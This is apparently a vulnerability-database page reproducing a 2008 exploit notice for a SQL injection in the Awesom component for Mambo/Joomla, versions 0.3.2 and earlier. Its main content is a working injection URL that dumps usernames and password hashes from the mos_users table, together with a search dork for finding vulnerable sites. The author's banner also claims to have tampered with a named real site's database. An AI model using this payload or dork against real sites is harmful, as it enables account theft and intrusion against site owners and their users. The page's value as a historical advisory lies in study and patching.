Mambo Component Awesom <= 0.3.2 (listid) SQL Injection Vulnerability

🗓️ 05 Feb 2008 00:00:00Reported by RootType

Mambo Component Awesom SQL Injection Vulnerability version 0.3.


                                                #########################################################################
#
#&nbsp;joomla&nbsp;SQL&nbsp;Injection(com_awesom)
#
#########################################################################
#
#&nbsp;AUTHOR&nbsp;:&nbsp;S@BUN
#
#&nbsp;HOME&nbsp;:&nbsp;http://www.hackturkiye.com/
#
#########################################################################
#
#&nbsp;&nbsp;&nbsp;&nbsp;DORKS&nbsp;1&nbsp;:&nbsp;allinurl&nbsp;:&quot;com_awesom&quot;
#
#&nbsp;&nbsp;&nbsp;
#########################################################################&nbsp;&nbsp;&nbsp;
#&nbsp;
#&nbsp;&nbsp;&nbsp;&nbsp;&amp;#305;&nbsp;changed&nbsp;ATAT&amp;Uuml;RK.com's&nbsp;db.&nbsp;&nbsp;soo&nbsp;dont&nbsp;look
#
#&nbsp;&nbsp;&nbsp;ATAT&amp;Uuml;RK.com&nbsp;db&nbsp;si&nbsp;de&amp;#287;i&amp;#351;tirilip&nbsp;kullan&amp;#305;c&amp;#305;s&amp;#305;na&nbsp;bildirilmi&amp;#351;tir.
#
##########################################################################
EXPLOIT&nbsp;:

index.php?option=com_awesom&amp;Itemid=S@BUN&amp;task=viewlist&amp;listid=-1/**/union/**/select/**/null,concat(username,0x3a,password),null,null,null,null,null,null,null/**/from/**/mos_users/*


##########################################################################
#&nbsp;S@BUN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;www.hackturkiye.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;S@BUN
##########################################################################
#&nbsp;S@BUN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GOOD&nbsp;LUCKY&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;S@BUN
##########################################################################

	&lt;name&gt;Awesom&lt;/name&gt;
	&lt;creationDate&gt;24/05/2004&lt;/creationDate&gt;
	&lt;author&gt;Madd0&lt;/author&gt;
	&lt;copyright&gt;This&nbsp;component&nbsp;is&nbsp;released&nbsp;under&nbsp;the&nbsp;GNU/GPL&nbsp;License&lt;/copyright&gt;
	&lt;authorEmail&gt;[email protected]&lt;/authorEmail&gt;

	&lt;authorUrl&gt;amazoop.sourceforge.net&lt;/authorUrl&gt;
	&lt;version&gt;0.3.2&lt;/version&gt;
	&lt;description&gt;Awesom!,&nbsp;or&nbsp;Amazon&nbsp;Web&nbsp;Services&nbsp;for&nbsp;Opensource&nbsp;Mambo,&nbsp;is&nbsp;a&nbsp;component&nbsp;that&nbsp;lets&nbsp;you&nbsp;
		create&nbsp;lists&nbsp;of&nbsp;products&nbsp;to&nbsp;feature&nbsp;on&nbsp;your&nbsp;Mambo-driven&nbsp;site.&lt;br&nbsp;/&gt;
		These&nbsp;lists&nbsp;can&nbsp;be&nbsp;customized&nbsp;or&nbsp;can&nbsp;be&nbsp;automatically&nbsp;generated&nbsp;with&nbsp;information&nbsp;provided&nbsp;
		by&nbsp;Amazon&nbsp;through&nbsp;Amazon&nbsp;Web&nbsp;Services.&lt;br&nbsp;/&gt;
		Additionally,&nbsp;if&nbsp;you&nbsp;are&nbsp;an&nbsp;Amazon&nbsp;associate,&nbsp;you&nbsp;can&nbsp;configure&nbsp;Awesom&nbsp;to&nbsp;link&nbsp;to&nbsp;Amazon&nbsp;
		using&nbsp;your&nbsp;associate&nbsp;ID&nbsp;in&nbsp;order&nbsp;to&nbsp;earn&nbsp;comissions.
	&lt;/description&gt;

05 Feb 2008 00:00Current

7.1High risk

Vulners AI Score7.1

joomla sql injection(com_awesom)s@bun allinurl component mambo amazon web services gnu/gpl license

Mambo Component Awesom &lt;= 0.3.2 (listid) SQL Injection Vulnerability

Mambo Component Awesom <= 0.3.2 (listid) SQL Injection Vulnerability